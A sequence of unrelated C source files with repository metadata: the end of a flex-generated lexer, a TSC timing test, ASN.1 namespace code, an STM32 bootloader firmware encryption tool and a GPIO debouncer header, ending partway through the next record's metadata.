(yy_buffer_stack_max) = num_to_alloc;
}
}
/** Setup the input buffer state to scan directly from a user-specified character buffer.
* @param base the character buffer
* @param size the size in bytes of the character buffer
*
* @return the newly allocated buffer state object.
*/
YY_BUFFER_STATE yy_scan_buffer (char * base, yy_size_t size )
{
YY_BUFFER_STATE b;
if ( size < 2 ||
base[size-2] != YY_END_OF_BUFFER_CHAR ||
base[size-1] != YY_END_OF_BUFFER_CHAR )
/* They forgot to leave room for the EOB's. */
return 0;
b = (YY_BUFFER_STATE) yyalloc(sizeof( struct yy_buffer_state ) );
if ( ! b )
YY_FATAL_ERROR( "out of dynamic memory in yy_scan_buffer()" );
b->yy_buf_size = size - 2; /* "- 2" to take care of EOB's */
b->yy_buf_pos = b->yy_ch_buf = base;
b->yy_is_our_buffer = 0;
b->yy_input_file = 0;
b->yy_n_chars = b->yy_buf_size;
b->yy_is_interactive = 0;
b->yy_at_bol = 1;
b->yy_fill_buffer = 0;
b->yy_buffer_status = YY_BUFFER_NEW;
yy_switch_to_buffer(b );
return b;
}
/** Setup the input buffer state to scan a string. The next call to yylex() will
* scan from a @e copy of @a str.
* @param yystr a NUL-terminated string to scan
*
* @return the newly allocated buffer state object.
* @note If you want to scan bytes that may contain NUL values, then use
* yy_scan_bytes() instead.
*/
YY_BUFFER_STATE yy_scan_string (yyconst char * yystr )
{
return yy_scan_bytes(yystr,strlen(yystr) );
}
/** Setup the input buffer state to scan the given bytes. The next call to yylex() will
* scan from a @e copy of @a bytes.
* @param bytes the byte buffer to scan
* @param len the number of bytes in the buffer pointed to by @a bytes.
*
* @return the newly allocated buffer state object.
*/
YY_BUFFER_STATE yy_scan_bytes (yyconst char * yybytes, int _yybytes_len )
{
YY_BUFFER_STATE b;
char *buf;
yy_size_t n;
int i;
/* Get memory for full buffer, including space for trailing EOB's. */
n = _yybytes_len + 2;
buf = (char *) yyalloc(n );
if ( ! buf )
YY_FATAL_ERROR( "out of dynamic memory in yy_scan_bytes()" );
for ( i = 0; i < _yybytes_len; ++i )
buf[i] = yybytes[i];
buf[_yybytes_len] = buf[_yybytes_len+1] = YY_END_OF_BUFFER_CHAR;
b = yy_scan_buffer(buf,n );
if ( ! b )
YY_FATAL_ERROR( "bad buffer in yy_scan_bytes()" );
/* It's okay to grow etc. this buffer, and we should throw it
* away when we're done.
*/
b->yy_is_our_buffer = 1;
return b;
}
static void yy_push_state (int new_state )
{
if ( (yy_start_stack_ptr) >= (yy_start_stack_depth) )
{
yy_size_t new_size;
(yy_start_stack_depth) += YY_START_STACK_INCR;
new_size = (yy_start_stack_depth) * sizeof( int );
if ( ! (yy_start_stack) )
(yy_start_stack) = (int *) yyalloc(new_size );
else
(yy_start_stack) = (int *) yyrealloc((void *) (yy_start_stack),new_size );
if ( ! (yy_start_stack) )
YY_FATAL_ERROR( "out of memory expanding start-condition stack" );
}
(yy_start_stack)[(yy_start_stack_ptr)++] = YY_START;
BEGIN(new_state);
}
static void yy_pop_state (void)
{
if ( --(yy_start_stack_ptr) < 0 )
YY_FATAL_ERROR( "start-condition stack underflow" );
BEGIN((yy_start_stack)[(yy_start_stack_ptr)]);
}
static int yy_top_state (void)
{
return (yy_start_stack)[(yy_start_stack_ptr) - 1];
}
#ifndef YY_EXIT_FAILURE
#define YY_EXIT_FAILURE 2
#endif
static void yy_fatal_error (yyconst char* msg )
{
(void) fprintf( stderr, "%s\n", msg );
exit( YY_EXIT_FAILURE );
}
/* Redefine yyless() so it works in section 3 code. */
#undef yyless
#define yyless(n) \
do \
{ \
/* Undo effects of setting up yytext. */ \
int yyless_macro_arg = (n); \
YY_LESS_LINENO(yyless_macro_arg);\
yytext[yyleng] = (yy_hold_char); \
(yy_c_buf_p) = yytext + yyless_macro_arg; \
(yy_hold_char) = *(yy_c_buf_p); \
*(yy_c_buf_p) = '\0'; \
yyleng = yyless_macro_arg; \
} \
while ( 0 )
/* Accessor methods (get/set functions) to struct members. */
/** Get the current line number.
*
*/
int yyget_lineno (void)
{
return yylineno;
}
/** Get the input stream.
*
*/
FILE *yyget_in (void)
{
return yyin;
}
/** Get the output stream.
*
*/
FILE *yyget_out (void)
{
return yyout;
}
/** Get the length of the current token.
*
*/
int yyget_leng (void)
{
return yyleng;
}
/** Get the current token.
*
*/
char *yyget_text (void)
{
return yytext;
}
/** Set the current line number.
* @param line_number
*
*/
void yyset_lineno (int line_number )
{
yylineno = line_number;
}
/** Set the input stream. This does not discard the current
* input buffer.
* @param in_str A readable stream.
*
* @see yy_switch_to_buffer
*/
void yyset_in (FILE * in_str )
{
yyin = in_str ;
}
void yyset_out (FILE * out_str )
{
yyout = out_str ;
}
int yyget_debug (void)
{
return yy_flex_debug;
}
void yyset_debug (int bdebug )
{
yy_flex_debug = bdebug ;
}
static int yy_init_globals (void)
{
/* Initialization is the same as for the non-reentrant scanner.
* This function is called from yylex_destroy(), so don't allocate here.
*/
(yy_buffer_stack) = 0;
(yy_buffer_stack_top) = 0;
(yy_buffer_stack_max) = 0;
(yy_c_buf_p) = (char *) 0;
(yy_init) = 0;
(yy_start) = 0;
(yy_start_stack_ptr) = 0;
(yy_start_stack_depth) = 0;
(yy_start_stack) = NULL;
/* Defined in main.c */
#ifdef YY_STDINIT
yyin = stdin;
yyout = stdout;
#else
yyin = (FILE *) 0;
yyout = (FILE *) 0;
#endif
/* For future reference: Set errno on error, since we are called by
* yylex_init()
*/
return 0;
}
/* yylex_destroy is for both reentrant and non-reentrant scanners. */
int yylex_destroy (void)
{
/* Pop the buffer stack, destroying each element. */
while(YY_CURRENT_BUFFER){
yy_delete_buffer(YY_CURRENT_BUFFER );
YY_CURRENT_BUFFER_LVALUE = NULL;
yypop_buffer_state();
}
/* Destroy the stack itself. */
yyfree((yy_buffer_stack) );
(yy_buffer_stack) = NULL;
/* Destroy the start condition stack. */
yyfree((yy_start_stack) );
(yy_start_stack) = NULL;
/* Reset the globals. This is important in a non-reentrant scanner so the next time
* yylex() is called, initialization will occur. */
yy_init_globals( );
return 0;
}
/*
* Internal utility routines.
*/
#ifndef yytext_ptr
static void yy_flex_strncpy (char* s1, yyconst char * s2, int n )
{
register int i;
for ( i = 0; i < n; ++i )
s1[i] = s2[i];
}
#endif
#ifdef YY_NEED_STRLEN
static int yy_flex_strlen (yyconst char * s )
{
register int n;
for ( n = 0; s[n]; ++n )
;
return n;
}
#endif
void *yyalloc (yy_size_t size )
{
return (void *) malloc( size );
}
void *yyrealloc (void * ptr, yy_size_t size )
{
/* The cast to (char *) in the following accommodates both
* implementations that use char* generic pointers, and those
* that use void* generic pointers. It works with the latter
* because both ANSI C and C++ allow castless assignment from
* any pointer type to void*, and deal with argument conversions
* as though doing an assignment.
*/
return (void *) realloc( (char *) ptr, size );
}
void yyfree (void * ptr )
{
free( (char *) ptr ); /* see yyrealloc() for (char *) cast */
}
#define YYTABLES_NAME "yytables"
#line 830 "scanner.l"
void
initscanner(char *srcfile)
{
char *s;
if (maxifbraces == NULL) {
maxifbraces = g_malloc(miflevel * sizeof(*maxifbraces));
preifbraces = g_malloc(miflevel * sizeof(*preifbraces));
}
first = 0; /* buffer index for first char of symbol */
last = 0; /* buffer index for last char of symbol */
lineno = 1; /* symbol line number */
myylineno = 1; /* input line number */
arraydimension = FALSE; /* inside array dimension declaration */
bplisting = FALSE; /* breakpoint listing */
braces = 0; /* unmatched left brace count */
classdef = FALSE; /* c++ class definition */
elseelif = FALSE; /* #else or #elif found */
esudef = FALSE; /* enum/struct/union global definition */
external = FALSE; /* external definition */
externalbraces = -1; /* external definition outer brace count */
fcndef = FALSE; /* function definition */
global = TRUE; /* file global scope (outside functions) */
iflevel = 0; /* #if nesting level */
initializer = FALSE; /* data initializer */
initializerbraces = -1; /* data initializer outer brace count */
lex = FALSE; /* lex file */
parens = 0; /* unmatched left parenthesis count */
ppdefine = FALSE; /* preprocessor define statement */
pseudoelif = FALSE; /* pseudo-#elif */
oldtype = FALSE; /* next identifier is an old type */
rules = FALSE; /* lex/yacc rules */
sdl = FALSE; /* sdl file */
structfield = FALSE; /* structure field declaration */
tagdef = '\0'; /* class/enum/struct/union tag definition */
template = FALSE; /* function template */
templateparens = -1; /* function template outer parentheses count */
typedefbraces = -1; /* initial typedef braces count */
ident_start = 0; /* start of previously found identifier */
if (my_yytext)
*my_yytext = '\0';
my_yyleng = 0;
BEGIN(INITIAL);
/* if this is not a C file */
if ((s = strrchr(srcfile, '.')) != NULL) {
switch (*++s) { /* this switch saves time on C files */
case 'b':
if (strcmp(s, "bp") == 0) { /* breakpoint listing */
bplisting = TRUE;
}
break;
case 'l':
if (strcmp(s, "l") == 0) { /* lex */
lex = TRUE;
global = FALSE;
}
break;
case 's':
if (strcmp(s, "sd") == 0) { /* sdl */
sdl = TRUE;
BEGIN(SDL);
}
break;
case 'y':
if (strcmp(s, "y") == 0) { /* yacc */
global = FALSE;
}
break;
}
}
}
#define MY_YY_ALLOCSTEP 1000
static void
my_yymore(void)
{
static size_t yytext_size = 0;
/* my_yytext is an ever-growing buffer. It will not ever
* shrink, nor will it be freed at end of program, for now */
while (my_yyleng + yyleng + 1 >= yytext_size) {
my_yytext = g_realloc(my_yytext, yytext_size += MY_YY_ALLOCSTEP);
}
strncpy (my_yytext + my_yyleng, yytext, yyleng+1);
my_yyleng += yyleng;
}
| 2.171875 | 2 |
2024-11-18T19:38:42.053646+00:00 | 2017-04-13T20:08:04 | 1c02fdb6baa1e10141258886f6a772e77c0cc2c0 | {
"blob_id": "1c02fdb6baa1e10141258886f6a772e77c0cc2c0",
"branch_name": "refs/heads/master",
"committer_date": "2017-04-13T20:08:04",
"content_id": "55ab01fcc6c46c4a1a61bb34b69f4bd5cf7a6ad1",
"detected_licenses": [
"BSD-2-Clause"
],
"directory_id": "223418be6fd5aa5a75e6ca0bf0b59702a6dfa6d4",
"extension": "c",
"filename": "ttsc1.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 88179123,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 4448,
"license": "BSD-2-Clause",
"license_type": "permissive",
"path": "/test/ttsc1.c",
"provenance": "stackv2-0023.json.gz:98",
"repo_name": "JVD66/IA64_TSC_LNX",
"revision_date": "2017-04-13T20:08:04",
"revision_id": "6072d8c40207d0a58ec14c4c39b99bb45d506ade",
"snapshot_id": "b7c7afe462e22907711f57d2e0c6dc627c603728",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/JVD66/IA64_TSC_LNX/6072d8c40207d0a58ec14c4c39b99bb45d506ade/test/ttsc1.c",
"visit_date": "2021-01-19T14:40:14.197643"
} | stackv2 | /* ttsc1.c : Demonstrates latency of use of IA64_rdtsc.h's IA64_s_ns_since_start() vs. using clock_gettime(CLOCK_MONOTONIC_RAW)
*/
#define _GNU_SOURCE
#include <features.h>
#include <sys/types.h>
#include <stdint.h>
#include <stdarg.h>
#include <stdbool.h>
#include <time.h>
#include <sys/stat.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <pthread.h>
#include <setjmp.h>
#include <stdio.h>
#include <stdlib.h>
#include "IA64_tsc_info.h"
#include "IA64_rdtsc.h"
int main(int argc, const char *const* argv, const char *const* envp)
{ bool
has_tsc =IA64_has_tsc()
, has_constant_tsc=IA64_has_constant_tsc()
, has_15h =IA64_has_cpuid_leaf_15h()
, has_80000007h =IA64_has_cpuid_leaf_80000007h();
fprintf(stderr,"has tsc: %u constant: %u\n",has_tsc, has_constant_tsc);
if( has_tsc && has_constant_tsc )
{ UL_t tsc_khz = IA64_tsc_khz();
IA64_nccc_t nccc={0};
double tsc_n_freq=0.0;
bool tsc_is_enabled = IA64_invariant_tsc_is_enabled(&nccc, &tsc_n_freq);
if( tsc_is_enabled && has_15h )
fprintf(stderr,"Invariant TSC is enabled : TSC / CCC: %u / %u = %u ; CCC freq: %uHz Nominal TSC freq:: %.9EHz : Actual TSC freq: %.9GGHz - TSC adjust: %u.\n"
, nccc.tsc_ccc_n , nccc.tsc_ccc_d
, nccc.tsc_ccc_n / nccc.tsc_ccc_d
, nccc.tsc_ccc_f
, tsc_n_freq
, (((double)tsc_khz)*1e3)/1e9
, IA64_has_tsc_adjust()
);
else if( tsc_is_enabled && has_80000007h )
fprintf(stderr,"Invariant TSC is enabled: Actual TSC freq: %.9GGHz - TSC adjust: %u.\n",(((double)tsc_khz)*1e3)/1e9, IA64_has_tsc_adjust());
if(tsc_is_enabled)
{ struct timespec tsp1, tsp2, tsp_b, tsp_e;
clock_gettime(CLOCK_MONOTONIC_RAW,&tsp_b);
clock_gettime(CLOCK_MONOTONIC_RAW,&tsp1);
clock_gettime(CLOCK_MONOTONIC_RAW,&tsp2);
register UL_t ts0 = IA64_s_ns_since_start();
register UL_t ts2 = IA64_s_ns_since_start();
register UL_t ts1 = ts2;
register UL_t ts3 = IA64_s_ns_since_start();
clock_gettime(CLOCK_MONOTONIC_RAW,&tsp_e);
register U128_t
n_ns1=(((((U128_t)tsp2.tv_sec) * 1000000000ULL) + ((U128_t) tsp2.tv_nsec)) -
((((U128_t)tsp1.tv_sec) * 1000000000ULL) + ((U128_t) tsp1.tv_nsec)))
, n_ns2=(((((U128_t)tsp_e.tv_sec) * 1000000000ULL) + ((U128_t) tsp_e.tv_nsec)) -
((((U128_t)tsp_b.tv_sec) * 1000000000ULL) + ((U128_t) tsp_b.tv_nsec)));
fprintf(stderr, "ts2 - ts1: %lu ts3 - ts2: %lu ns1: %u.%.9u ns2: %u.%.9u\n",
ts2 - ts0, ts3-ts2
, (U32_t)((n_ns1 / 1000000000ULL)&0xffffffffUL), (U32_t)((n_ns1 % 1000000000ULL) & 0xffffffffUL)
, (U32_t)((n_ns2 / 1000000000ULL)&0xffffffffUL), (U32_t)((n_ns2 % 1000000000ULL) & 0xffffffffUL)
);
register byte_t i;
for( i = 0; i < 10; i+=1 )
{ clock_gettime(CLOCK_MONOTONIC_RAW,&tsp1);
clock_gettime(CLOCK_MONOTONIC_RAW,&tsp2);
ts2 = IA64_s_ns_since_start();
ts3 = IA64_s_ns_since_start();
n_ns1=(((((U128_t)tsp2.tv_sec) * 1000000000ULL) + ((U128_t) tsp2.tv_nsec)) -
((((U128_t)tsp1.tv_sec) * 1000000000ULL) + ((U128_t) tsp1.tv_nsec)))
;
fprintf(stderr, "ts3 - ts2: %lu ns1: %u.%.9u\n",
ts3 - ts2
, (U32_t)((n_ns1 / 1000000000ULL)&0xffffffffU)
, (U32_t)((n_ns1 % 1000000000ULL) & 0xffffffffUL)
);
ts1= IA64_s_ns_since_start();
clock_gettime(CLOCK_MONOTONIC_RAW,&tsp_e);
}
n_ns2=(((((U128_t)tsp_e.tv_sec) * 1000000000ULL) + ((U128_t) tsp_e.tv_nsec)) -
((((U128_t)tsp_b.tv_sec) * 1000000000ULL) + ((U128_t) tsp_b.tv_nsec)));
fprintf(stderr, "t1 - t0: %lu - ns2: %u.%.9u\n",
ts1 - ts0
, (U32_t)((n_ns2 / 1000000000ULL)&0xffffffffU), (U32_t)((n_ns2 % 1000000000ULL) & 0xffffffffUL)
);
} else
{ fprintf(stderr,__FILE__"%d:(%s): sorry, modern 7th-generation Intel \"Invariant TSC\" with ART (always running timer) is not fully enabled on this platform :\n\thas_tsc: %u has_leaf_15h: %u has_leaf_80000007h: %u has_constant_tsc: %u has_rdtscp: %u has_nonstop_tsc: %u \n",__LINE__,__FUNCTION__,
has_tsc , has_15h, has_80000007h, has_constant_tsc,
IA64_has_rdtscp(),
IA64_has_nonstop_tsc()
);
}
}
return 0;
}
| 2.109375 | 2 |
2024-11-18T19:38:42.477667+00:00 | 2023-08-31T02:16:24 | c8fb3e08b2ca499144f13a0f9b4afb084331e991 | {
"blob_id": "c8fb3e08b2ca499144f13a0f9b4afb084331e991",
"branch_name": "refs/heads/vlm_master",
"committer_date": "2023-08-31T02:16:24",
"content_id": "db010729e8831e2cd026828c616c934ac445e087",
"detected_licenses": [
"BSD-2-Clause"
],
"directory_id": "853f3da12f4c0c5b4c5584e71537e4a81458bcce",
"extension": "c",
"filename": "asn1_namespace.c",
"fork_events_count": 72,
"gha_created_at": "2016-12-22T20:44:21",
"gha_event_created_at": "2023-09-01T00:25:27",
"gha_language": "C",
"gha_license_id": "BSD-2-Clause",
"github_id": 77174670,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 4339,
"license": "BSD-2-Clause",
"license_type": "permissive",
"path": "/libasn1common/asn1_namespace.c",
"provenance": "stackv2-0023.json.gz:610",
"repo_name": "mouse07410/asn1c",
"revision_date": "2023-08-31T02:16:24",
"revision_id": "208d9edd4f14feec25a21788c0a515cf4ae8b0cb",
"snapshot_id": "b85071e689d9352ac46ade60992c3ba9a9ed16f5",
"src_encoding": "UTF-8",
"star_events_count": 71,
"url": "https://raw.githubusercontent.com/mouse07410/asn1c/208d9edd4f14feec25a21788c0a515cf4ae8b0cb/libasn1common/asn1_namespace.c",
"visit_date": "2023-08-31T14:52:00.747113"
} | stackv2 | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <assert.h>
#include "asn1_ref.h"
#include "asn1_buffer.h"
#include "asn1_namespace.h"
static void (*_add_standard_namespaces_cb)(asn1_namespace_t *);
void
asn1_namespace_add_standard_namespaces_callback(
void (*cb)(asn1_namespace_t *)) {
_add_standard_namespaces_cb = cb;
}
asn1_namespace_t *
asn1_namespace_new() {
asn1_namespace_t *ns = calloc(1, sizeof(*ns));
if(_add_standard_namespaces_cb) {
_add_standard_namespaces_cb(ns);
}
return ns;
}
void
asn1_namespace_free(asn1_namespace_t *ns) {
if(ns) {
for(size_t i = 0; i < ns->elements_count; i++) {
switch(ns->elements[i].selector) {
case NAM_SPACE:
break;
case NAM_SYMBOL:
free(ns->elements[i].u.symbol.identifier);
break;
}
}
free(ns->elements);
free(ns);
}
}
asn1_namespace_t *
asn1_namespace_clone(const asn1_namespace_t *old_ns) {
asn1_namespace_t *new_ns = calloc(1, sizeof(*new_ns));
for(size_t i = 0; i < old_ns->elements_count; i++) {
switch(old_ns->elements[i].selector) {
case NAM_SPACE:
asn1_namespace_add_module(new_ns,
old_ns->elements[i].u.space.module,
old_ns->elements[i].u.space.stop_search);
break;
case NAM_SYMBOL:
asn1_namespace_add_symbol(
new_ns, old_ns->elements[i].u.symbol.opt_governor,
old_ns->elements[i].u.symbol.identifier,
old_ns->elements[i].u.symbol.resolution);
break;
}
}
return new_ns;
}
static size_t
_add_element(asn1_namespace_t *ns) {
size_t idx = ns->elements_count;
if(ns->elements_count >= ns->elements_size) {
size_t elc = ns->elements_size ? ns->elements_size * 2 : 4;
ns->elements = realloc(ns->elements, sizeof(ns->elements[0]) * elc);
ns->elements_size = elc;
}
ns->elements_count++;
return idx;
}
void
asn1_namespace_add_symbol(asn1_namespace_t *ns,
struct asn1p_ref_s *opt_governor,
const char *identifier,
struct asn1p_expr_s *resolved_argument) {
size_t idx = _add_element(ns);
ns->elements[idx].selector = NAM_SYMBOL;
ns->elements[idx].u.symbol.opt_governor = opt_governor;
ns->elements[idx].u.symbol.identifier = strdup(identifier);
ns->elements[idx].u.symbol.resolution = resolved_argument;
}
asn1_namespace_t *
asn1_namespace_new_from_module(struct asn1p_module_s *module, int stop_search) {
asn1_namespace_t *ns = asn1_namespace_new();
asn1_namespace_add_module(ns, module, stop_search);
return ns;
}
void
asn1_namespace_add_module(asn1_namespace_t *ns, struct asn1p_module_s *module,
int stop_search) {
size_t idx = _add_element(ns);
ns->elements[idx].selector = NAM_SPACE,
ns->elements[idx].u.space.module = module;
ns->elements[idx].u.space.stop_search = stop_search;
}
const char *
asn1_namespace_string(const asn1_namespace_t *ns) {
static abuf ab;
abuf_clear(&ab);
if(ns) {
abuf_str(&ab, "{");
for(size_t i = 0; i < ns->elements_count; i++) {
if(i) abuf_str(&ab, ",");
switch(ns->elements[i].selector) {
case NAM_SPACE:
abuf_printf(
&ab, "M:\"%s\"%s",
*(const char *const *)ns->elements[i].u.space.module,
ns->elements[i].u.space.stop_search ? "!" : "");
break;
case NAM_SYMBOL:
abuf_printf(&ab, "S:\"%s%s%s\"",
ns->elements[i].u.symbol.opt_governor
? asn1p_ref_string(
ns->elements[i].u.symbol.opt_governor)
: "",
ns->elements[i].u.symbol.opt_governor ? ":" : "",
ns->elements[i].u.symbol.identifier);
break;
}
}
abuf_str(&ab, "}");
return ab.buffer;
} else {
return "<no namespace>";
}
}
| 2.359375 | 2 |
2024-11-18T19:39:53.599062+00:00 | 2020-03-02T15:40:54 | 1c75b8db4657650219418a11e22f77f6f6133d54 | {
"blob_id": "1c75b8db4657650219418a11e22f77f6f6133d54",
"branch_name": "refs/heads/master",
"committer_date": "2020-03-02T15:40:54",
"content_id": "98975fccdc5d929fdff8f1c37ec3bb9e061dd7c1",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "68100fae5eea70f839b9796dd9c8b91482a36ce5",
"extension": "c",
"filename": "encrypter.c",
"fork_events_count": 0,
"gha_created_at": "2019-11-18T07:52:02",
"gha_event_created_at": "2020-03-02T15:40:55",
"gha_language": null,
"gha_license_id": "Apache-2.0",
"github_id": 222392068,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 4841,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/src/encrypter.c",
"provenance": "stackv2-0023.json.gz:1637",
"repo_name": "avgoor/sboot_stm32",
"revision_date": "2020-03-02T15:40:54",
"revision_id": "f9cb93285fa18e70d7b314f7addfeccf18f5e045",
"snapshot_id": "03303879f8db4665cc9a3959eaf29659d4d7d1d9",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/avgoor/sboot_stm32/f9cb93285fa18e70d7b314f7addfeccf18f5e045/src/encrypter.c",
"visit_date": "2020-09-12T10:18:25.233781"
} | stackv2 | /* This file is the part of the STM32 secure bootloader
*
* Copyright ©2016 Dmitry Filimonchuk <dmitrystu[at]gmail[dot]com>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
* http://www.apache.org/licenses/LICENSE-2.0
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "getopt.h"
#include "config.h"
#include "crypto.h"
#include "checksum.h"
static void exithelp(void) {
printf("Usage: fwcrypt [options] -i infile -o outfile\n"
"\t -e Encrypt (default)\n"
"\t -d Decrypt\n"
"\t -n No output (dry run)\n"
"\t -c Without checksum signature\n"
);
exit(0);
}
static char *strsign(const void *data, size_t len) {
static char s[0x100];
char *t = s;
static const char *digits = "0123456789ABCDEF";
const uint8_t *buf = data;
while(len--) {
*t++ = digits[*buf >> 4];
*t++ = digits[*buf & 0x0F];
buf++;
}
*t = '\0';
return s;
}
int main(int argc, char **argv)
{
int dir = 1;
int crc = 1;
int dry = 0;
char *infile = NULL;
char *outfile = NULL;
int c;
opterr = 0;
while ((c = getopt(argc, argv, "edchni:o:")) != -1)
switch (c)
{
case 'e':
dir = 1;
break;
case 'd':
dir = 0;
break;
case 'c':
crc = 0;
break;
case 'n':
dry = 1;
break;
case 'i':
infile = optarg;
break;
case 'o':
outfile = optarg;
break;
case 'h':
case '?':
exithelp();
break;
default:
exit(-1);
}
if (infile == NULL) {
exithelp();
}
FILE *fi = fopen(infile, "rb");
if (fi == NULL) {
printf("Failed to open file: %s\n", argv[optind]);
exit(1);
}
fseek(fi, 0, SEEK_END);
size_t length = ftell(fi);
fseek(fi, 0, SEEK_SET);
size_t blen = length + 0x1000;
uint32_t *buf = malloc(blen);
uint8_t *buf8 = (uint8_t*)buf;
if (buf == NULL) {
printf("Failed to allocate buffer. length %zd\n", length);
exit(3);
}
fread(buf, 1, length, fi);
fclose(fi);
aes_init();
if (dir) {
#if (DFU_VERIFY_CHECKSUM != _DISABLE)
if (crc) {
size_t newlen = append_checksum(buf, length, blen);
printf("Firmware length: %zd bytes, signature: (%s) %s\n",
length,
checksum_name,
strsign(&buf8[length], checksum_length)
);
printf("Validating firmware signature. ");
size_t checked_length = validate_checksum(buf, blen);
if (checked_length != length ) {
printf("FAIL. Collision found at offset %zd\n", checked_length);
exit(-3);
} else {
printf("OK.\n");
}
length = newlen;
}
#endif
#if(DFU_CIPHER != _DISABLE)
if (length % aes_blksize) {
length += (aes_blksize - (length % aes_blksize));
}
printf("Encrypting %zd bytes using %s cipher.\n", length, aes_name);
aes_encrypt(buf, buf, length);
#endif
} else {
#if(DFU_CIPHER != _DISABLE)
printf("Decrypting %zd bytes using %s cipher.\n", length, aes_name);
aes_decrypt(buf, buf, length);
#endif
#if (DFU_VERIFY_CHECKSUM != _DISABLE)
if (crc) {
size_t checked_length = validate_checksum(buf, blen);
if (checked_length == 0) {
printf("No valid signature found.\n");
} else {
printf("Valid signature (%s) %s found at offset %zd\n",
checksum_name,
strsign(&buf8[checked_length], checksum_length),
checked_length
);
length = checked_length;
}
}
#endif
}
if (dry || outfile == NULL) {
printf("Writing %zd bytes. Dry run.\n", length);
} else {
FILE *fo = fopen(outfile, "wb");
if (fo == NULL) {
printf("Failed to open file: %s\n", argv[optind]);
exit(2);
}
fwrite(buf, 1, length, fo);
fclose(fo);
}
free(buf);
return 0;
}
| 2.453125 | 2 |
2024-11-18T19:39:53.673925+00:00 | 2017-01-13T20:11:56 | 63f169f8fa5db4f2bbe0f46cf290077299fb9890 | {
"blob_id": "63f169f8fa5db4f2bbe0f46cf290077299fb9890",
"branch_name": "refs/heads/develop",
"committer_date": "2017-01-13T20:11:56",
"content_id": "19c3e0f0e9dd3d15c577f8877810238bb387e28f",
"detected_licenses": [
"MIT"
],
"directory_id": "0bb25b299497596033b17192ece360bd540b410f",
"extension": "h",
"filename": "cxa_gpio_debouncer.h",
"fork_events_count": 0,
"gha_created_at": "2017-01-13T18:04:51",
"gha_event_created_at": "2017-01-13T18:04:51",
"gha_language": null,
"gha_license_id": null,
"github_id": 78873292,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 1987,
"license": "MIT",
"license_type": "permissive",
"path": "/include/arch-common/cxa_gpio_debouncer.h",
"provenance": "stackv2-0023.json.gz:1765",
"repo_name": "tattar8/common-c",
"revision_date": "2017-01-13T20:11:56",
"revision_id": "612428155e4f735e7a565686e3ce304a3de6453b",
"snapshot_id": "3d66d384b212369706c541671c42dc368c4460a3",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/tattar8/common-c/612428155e4f735e7a565686e3ce304a3de6453b/include/arch-common/cxa_gpio_debouncer.h",
"visit_date": "2021-01-19T12:09:04.364247"
} | stackv2 | /**
* @file
* @copyright 2015 opencxa.org
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* @author Christopher Armenio
*/
#ifndef CXA_GPIO_DEBOUNCER_H_
#define CXA_GPIO_DEBOUNCER_H_
// ******** includes ********
#include <cxa_array.h>
#include <cxa_gpio.h>
#include <cxa_timeDiff.h>
#include <cxa_config.h>
// ******** global macro definitions ********
#ifndef CXA_GPIO_DEBOUNCER_MAXNUM_LISTENERS
#define CXA_GPIO_DEBOUNCER_MAXNUM_LISTENERS 1
#endif
// ******** global type definitions *********
/**
* @public
*/
typedef struct cxa_gpio_debouncer cxa_gpio_debouncer_t;
/**
* @public
*/
typedef void (*cxa_gpio_debouncer_cb_onTransition_t)(bool newVal, void *userVarIn);
typedef struct
{
cxa_gpio_debouncer_cb_onTransition_t cb_onTransition;
void *userVar;
}cxa_gpio_debouncer_listenerEntry_t;
/**
* @private
*/
struct cxa_gpio_debouncer
{
cxa_timeDiff_t td_debounce;
cxa_gpio_t* gpio;
bool prevVal;
bool isInTimeoutPeriod;
cxa_array_t listeners;
cxa_gpio_debouncer_listenerEntry_t listeners_raw[CXA_GPIO_DEBOUNCER_MAXNUM_LISTENERS];
};
// ******** global function prototypes ********
void cxa_gpio_debouncer_init(cxa_gpio_debouncer_t *const debounceIn, cxa_gpio_t *const gpioIn);
void cxa_gpio_debouncer_addListener(cxa_gpio_debouncer_t *const debouncerIn, cxa_gpio_debouncer_cb_onTransition_t cb_onTransition, void *userVarIn);
bool cxa_gpio_debouncer_getCurrentValue(cxa_gpio_debouncer_t *const debouncerIn);
#endif // CXA_GPIO_DEBOUNCER_H_
| 2.046875 | 2 |
2024-11-18T19:39:53.766316+00:00 | 2021-07-27T16:17:10 | 345c57ff8874e23669a495b7a79a4ee3e0fac677 | {
"blob_id": "345c57ff8874e23669a495b7a79a4ee3e0fac677",
"branch_name": "refs/heads/master",
"committer_date": "2021-07-27T16:17:10",
"content_id": "90dadb7a14cc5158e1e85546948ee0f0be5e18ba",
"detected_licenses": [
"MIT"
],
"directory_id": "383956491739c8679a178c9ddab0ab63231f59f7",
"extension": "c",
"filename": "array.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 360038864,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 2995,
"license": "MIT",
"license_type": "permissive",
"path": "/Lab2/array.c",
"provenance": "stackv2-0023.json.gz:1893",
"repo_name": "Cho-HH/Study_C",
"revision_date": "2021-07-27T16:17:10",
